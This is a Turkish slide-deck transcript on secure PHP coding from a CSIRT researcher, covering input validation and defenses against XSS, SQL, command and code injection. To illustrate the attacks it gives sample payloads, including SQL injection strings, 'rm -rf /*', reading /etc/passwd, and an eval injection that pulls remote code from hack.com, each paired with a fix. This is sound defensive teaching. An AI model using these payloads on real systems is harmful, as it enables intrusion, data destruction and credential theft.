PHP İle GÜVENLİ KODLAMA

Slides:



Advertisements
Benzer bir sunumlar
Hüseyin Gömleksizoğlu
Advertisements

PHP VE MYSQL.
T sql-diğer komutlar Metin Akbulut.
PHP ve MYSQL.
COME 339 JAVA-SQL BAĞLANTISI
VB.net ile SQL SERVER’a bağlanmak
FreeRADIUS ile Kimlik Denetimi
MySQL Veritabanı Sunucusu ve MySQL Veritabanı Kullanımı
Internet Tabanlı Programlama Dr. Erman Yukselturk
Nedir? Türkiye PHP Grubu – Dokuz Eylül Üniversitesi
Web Hacking Yöntemleri
Web Programlama Kursu Bu kurs ne değildir? Neyi amaç edinmiştir?
04/02/10 Django Web Uygulamaları Geliştirmede Çağdaş bir Yaklaşım.
PHP ve MySQL Web Yazılımı Gülin ÜTEBAY Bilgisayar Mühendisi
SQL Enjeksiyon Saldırı Uygulaması ve Güvenlik Önerileri
Fonksiyonlar ve Küresel Değişkenler
SQL de Değişken Tanımlama
Kırklareli Üniversitesi Pınarhisar Meslek Yüksekokulu
PHP'de formdan gelen bilgileri almak için $_GET ve $_POST değişkenleri kullanılır
SQL Komutlar 5 Sibel SOMYÜREK.
DOVECOT İLE IMAP VE POP3 SERVER KURULUMU
PHP’ ye Giriş Ali DELİCE Bircan ÇİÇEKDEŞ Mustafa İlker ALAGÖZ.
Veritabanı Yönetim Sistemleri Hızlı ve Kısa Giriş
Çerez(Cookie) Kullanımı Oturum Yönetimi
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Öğr.Gör.Şükrü KAYA.  PHP, "PHP: Hypertext Preprocessor" sözcüklerinin baş harfleriyle temsil edilen HTML içine gömülebilir açık kaynak kodlu, genel amaçlı,
Php Form İşlemleri.
PHP-Dosya ve Dizinler Internet Tabanlı Programlama Dr. Erman Yukselturk.
Tetikleyici. Nedir? Bir tablo üzerinde Ekleme silme ve güncellemeye bağlı olarak tetiklenip çalışan SQL kodlarıdır. Genel amacı veri bütünlüğünü korumaktır.
1 MySQL Kullanımı Structured Query Language. 2 MySQL Nedir? Veritabanıdır. Tablolardan oluşur. Bilgiler tablolarda saklanır.
SQL ve JavaScript Akademik Bilişim 2003 Adana, Şubat 2003 Fırat Tiryaki.
MySQL, SQL ve PHP Öğr.Gör.Şükrü KAYA.
Derleyici Araçları FLEX & BISON
HTML (HYPER TEXT MARKUP LANGUAGE) TEMEL ETİKETLERİ
Form İşlemleri. Form İşlemleri Bütün programlama dillerinde kullanıcının girmiş olduğu bilgiler üzerinde.
PHP 4’ün Yenilikleri VIII. “Türkiye’de İnternet” Konferansı İstanbul, Aralık 2002 Hidayet Doğan.
 HTML nin en önemli araçlarından biri de bilgi girişinde kullanılan form kontrolleridir.  Formlar, web sayfası tasarlayan kişi veya şirketlerle internet.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
İnternet Programcılığı II
SQL Dili ve MySQL Komutları
WEB PROGRAMLAMA PHP Temelleri 2 Dr. Erman Yukselturk.
LINQ (Language Integrated Query)
İnternet Teknolojisi Temel Kavramlar
HAZİRAN ASP ACTIVE SERVER PAGES Demet AMİNCİ Selçuk YUVARLAK Yusuf ŞENEL Endüstri Mühendisliğinde Bilgisayar Uygulamaları Dersi Projesi, 2004.
PHP ve MYSQL.
1 PHP – Metinler ve Düzenli İ fadeler Internet Tabanlı Programlama Dr. Erman Yukselturk.
CONTENT MANAGEMENT SYSTEM (İÇERİK YÖNETİM SİSTEMLERİ)
Iletisim Icin : Blog : E - Mail :
İnternet Programcılığı II
Windows için mysql kurulumu sitesinden mysql veritabanının ilgili sürümü indirilir. Biz.
İnternet Programlama PHP.
PHP ve MYSQL Veritabanı Sunucusu
İnternet Teknolojisi Temel Kavramlar
İKMAP İnternet 1 Ders Notu
ÖTÖ 451 Okul Yönetiminde Bilgisayar Uygulamaları R. Orçun Madran.
Metadata, z39.50, FRBR, ve RDA. Ders içeriği Web kaynakları ve web kaynaklarında kimlikleme Derin web – Yüzeysel web Arama Motorları Metadata Kopya Kataloglama.
DOĞRULAMA KONTROLLERİ
© Marmara Üniversitesi Uzaktan Eğitim Uygulama ve Araştırma Merkezi
VIEW lerle çalışmak 11.BÖLÜM.
14.DERS Örnekler, Sorular BUKET DOĞAN.
VERİ TABANI SQL (STRUCTURED QUERY LANGUAGE) SAVAŞ TUNÇER.
VERİ TABANI VE VISUAL STUDIO SQL LOCAL DB(YEREL VERİ TABANINI SAYFAYA BAĞLAMA Savaş TUNÇER.
MS SQL VERİTABANININ HOST HESABINA TAŞINMASI SAVAŞ TUNÇER.
HTTP Kullanıcı Asıllama ve Yetkilendirme
İNTERNET PROGRAMCILIĞI 2
SQL Server - Stored Procedures
PHP ve MYSQLi.
Milli Eğitim Bakanlığı Eğitek Haydar TUNA Teknik Öğretmen ve Yazar
Web Teknolojileri Hafta 12.
Sunum transkripti:

PHP İle GÜVENLİ KODLAMA Arş. Gör. Oğuzhan YALÇIN ULAK CSIRT PHP İle GÜVENLİ KODLAMA

İçerik Temel güvenlik problemi “kullanıcıdan gelen veriler…” Kullanıcıdan gelen veriler nasıl gelir ve bu verilere nasıl erişilir? Erişim problemleri Verilerin kontrol edilmesi Rakamsal değerlerin kontrolü URL’lerin kontrolü IP – Email kontrolü HTML tipli verilerin kontrolü Dosya yollarının kontrolü

İçerik Temel saldırılar ve engelleme yolları Ek Bilgi ve Öneriler Yanıt Parçalama XSS SQL enjeksiyonu Komut Enjeksiyonu Kod Enjeksiyonu Ek Bilgi ve Öneriler Hata Raporlama Veritabanı güvenliği Soru ve Sorunlar….

Verilere erişim Kullanıcıdan gelen veriye erişebilmek için kullanılan evrensel değişkenler… $_POST $_GET $_COOKIE $_FILE $_SERVER $_ENV $_REQUEST

Erişim Problemleri (Register Globals) Sunucu tarafına gelen herhangi tipteki (g/p/c…) parametre değişken olarak kayıt edilir. x.php?a=1 $a=1 Tanımlanmamış (un-initalized) değişkenler sorun oluşturabilir. Nasıl mı?

Erişim Problemleri (Register Globals) //Script.php if(authenticated_user()) $authorized=1; if($authorized) include(‘onemliveri.php’); Script.php?authorized=1 ????

Korunma yolları Kullanılması gerekmiyorsa: Sunucuda bulunan php.ini dosyası içerisinden kapatmak Kullanılması gerekliyse: Hata raporlamalarının kısıtlanması Tip duyarlı karşılaştırma if ($authorized===TRUE) { … }

Değerlerin kontrolü Kullanıcı tarafından gelen değeri taşıyan değişkenlerde bulunma olanağı vereceğimiz tipleri belirlemeliyiz. Script ya da tag özellikleri ile verdiğimiz değerlere güvenerek hareket etmemeli bunları her durumda kontrol etmeliyiz.

Rakamsal Değerler Bu tür verilerin kontrolü genelde basittir. Tip dönüşümü $gelen=(int)$_GET[‘id’]; $gelen=(float)$_GET[‘id’]; filter_var ile kontrol $gelen=filter_var($_GET[‘id’],FILTER_VALIDATE_INT); $gelen=filter_var($_GET[‘id’],FILTER_VALIDATE_FLOAT);

Metinsel Değerler Ctype ile metin kontrolü if (!ctype_alnum($_GET['login'])) echo “Sadece A-Za-z0-9 olabilir."; if (!ctype_alpha($_GET[‘login'])) echo “Sadece A-Za-z olabilir.";

Metinsel Değerler Türkçe doğrulama (ereg* - preg*) if ( eregi("^[a-zç-şŞÖĞÇİÜı0-9/_ \.]*$“, $_GET['login'])) echo “Sadece belirli karakterler olabilir.";

Metinsel Değerler Filter_var ile metin kontrolü filter_var($var,FILTER_VALIDATE_URL); filter_var($var,FILTER_VALIDATE_IP); filter_var($var,FILTER_VALIDATE_EMAIL); filter_var($var,FILTER_VALIDATE_REGEXP);

Dosya yolları Kullanıcı tarafından gönderilen dosya bilgileri incelenmelidir. // http://example.com/script.php? path=../../etc/passwd fopen(“/anadizin/”.$_GET[‘path’], “r”);

Dosya yolları Önceki slayttaki gibi bir saldırıdan korunmak için : $_GET[‘path’] = basename($_GET[‘path’]); fopen(“/anadizin/”.$_GET[‘path’], “r”);

Başlık Parçalama //yonlendir.php header(“Location: {$_SERVER[‘HTTP_REFERER’]}”); return; $_SERVER[‘HTTP_REFERER’] = “\r\n\r\nBye bye content!”;

Korunma yolu PHP’yi en son sürümüne yükseltin. Yeni sürümlerde bir seferde birden fazla başlık bilgisi gönderilemez. Eski sürümler içinse \r\n bulunup bulunmadığı kontrol edilebilir.

XSS XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .

Korunma Yolu htmlspecilachars(); ‘,”,<,>,& işaretlerini çevirir htmlentities(); Html verisi olarak kabul edilen herşeyi çevirir. strip_tags(); Tag olarak kabul edilen herşeyi kaldırır.

Korunma Yolu İstenirse strip_tags fonksiyonunun bazı html taglarını kaldırmaması sağlanabilir. $str=strip_tags($_GET[‘veri’],’<p><b><i><u>’); <u onmouseover="alert('JavaScript is allowed');"> <p style="background: url(http://track.com/i.gif)">

SQL Enjeksiyonu Enjeksiyon saldırılarına, özellikle SQLenjeksiyonu, web sitelerinde sıkça rastlanmaktadır. Enjeksiyon kullanıcı tarafından alınan verinin yorumlayıcıya komut ya da sorgunun bir parçası olarak gönderilmesi durumunda oluşur. Saldırganın düşmanca gönderdiği veriler yorumlayıcının istenmeyen komutları çalıştımasına veya veriyi değiştirmesine sebep olur.

SQL Enjeksiyonu nasıl yapılır En sık kullanılan sql injection sorgu örneği; $strSql=“select * from kullanicilar where ad=‘$ad’ and sifre=‘$sifre’”; $ad=“‘ or 1=1--” ya da $ad=“’ or 1=1 /*” olursa $strSql=“select * from kullanicilar where ad=‘’ or 1=1 /* and sifre=‘$sifre’”

Korunma Yolları $ad=mysql_real_escape_string($_GET[‘ad’]); $ad=mysql_escape_string($_GET[‘ad’]); $ad=pg_escape_bytea($_GET[‘ad’]); $ad=pg_escape_string($_GET[‘ad’]);

Korunma Yolları $id=mysql_real_escape_string($_GET[‘id’]); Burada ne yapacağız; //deneme.php $id=mysql_real_escape_string($_GET[‘id’]); mysql_query(“select * from kullanicilar where id=$id”); deneme.php?id=20;delete%20from%20kullanicilar

Korunma Yolları $id=0xBF . 0x27; // ¿’ Peki ya burada? //deneme.php $id=mysql_real_escape_string($id); // ‘

Korunma Yolları Görünen en iyi çözüm “prepared statements” $DB=new PDO(); $stmt=$DB->prepare(‘insert into users (ad,sifre) values(‘:ad’,’:sifre’)’); $ad=“asd”; $sifre=“qwe”; $stmt->bindparam(“:ad”,$ad); $stmt->bindparam(“:sifre”,$sifre); $stmt->execute();

Komut Enjeksiyonu $cmd =“mogrify –size {$_POST[‘x’]} x”; $cmd .=“ {$_POST[‘y’]}”; $cmd .= $_FILES[‘image’][‘tmp_name’]; $cmd .= “public_html/“; $cmd .=$_FILES[‘image’][‘name’]; shell_exec($cmd);

Komut Enjeksiyonu $_POST[‘x’]=“rm –rf /*”; $_POST[‘y’]=‘`cat /etc/passwd public_html/p.html; echo 65`’;

Korunma Yolları $_POST[‘x’]=“rm –rf /*”; $_POST[‘y’]=‘`cat /etc/passwd public_html/p.html; echo 65`’; escapeshellarg(); escapeshellcmd();

Kod Enjeksiyonu Sebep oluşturabilecek noktalar: Include ve require kullanılan yerler. Eval kullanılan yerler. include(“templates/”.$tmpname; //$tmpname=../../../../etc/passwd eval(“$value=array(doQuery({$id}));”); //$id=));file_put_contents(“exec.php”,”<?php include(‘http://hack.com/x.txt’);?>”)

Diğer Öneriler Hata bildirimi Veritabanı güvenliği

Hata Bildirimi Hata bildirimini kapatmak için methodlar: php.ini içinden display_errors=0 yapmak, Kod içinde ini_set(“display_errors”,false) yapmak, Kod içinde error_reporting(0); yazmak Hatalar geliştiriciler için önemlidir. Bu sebeple bir dosyada loglanması uygun olabilir.

Veritabanı güvenliği Her vhost için verilen db şifrelerini vhost’ların sahibine teslim etmek ve kişinin bir dosya içerisinde tanımlayarak kullanmasını sağlamaktansa şifreyi sadece o site içinde kullanılabilecek ve erişimi kısıtlamayacak şekilde ayarlamalıyız.

Veritabanı güvenliği /vhmysql/deneme/mysql.cnf mysql.default_host=localhost; mysql.default_user=site; mysql.default_password=gizli; //httpd.conf <VirtualHost deneme.gazi.edu.tr> Include /vhmysql/deneme/mysql.cnf </VirtualHost> Apache konfigürasyon dosyalarını root olarak çalıştırır böylece bu dosyalara 0600 verebiliriz….

CSIRT yapılan çalışmalar Oğuzhan YALÇIN oguzhanyalcin@gazi.edu.tr http://viki.csirt.ulakbim.gov.tr Kaynaklar; http://ilia.ws/files/phptek2007_security.pdf http://ilia.ws/files/phptek2007_secpitfalls.pdf http://www.amazon.com/php-architects-Guide-PHP-Security/dp/0973862106/ref=sr_1_1?ie=UTF8&s=books&qid=1196330670&sr=8-1 Apache konfigürasyon dosyalarını root olarak çalıştırır böylece bu dosyalara 0600 verebiliriz….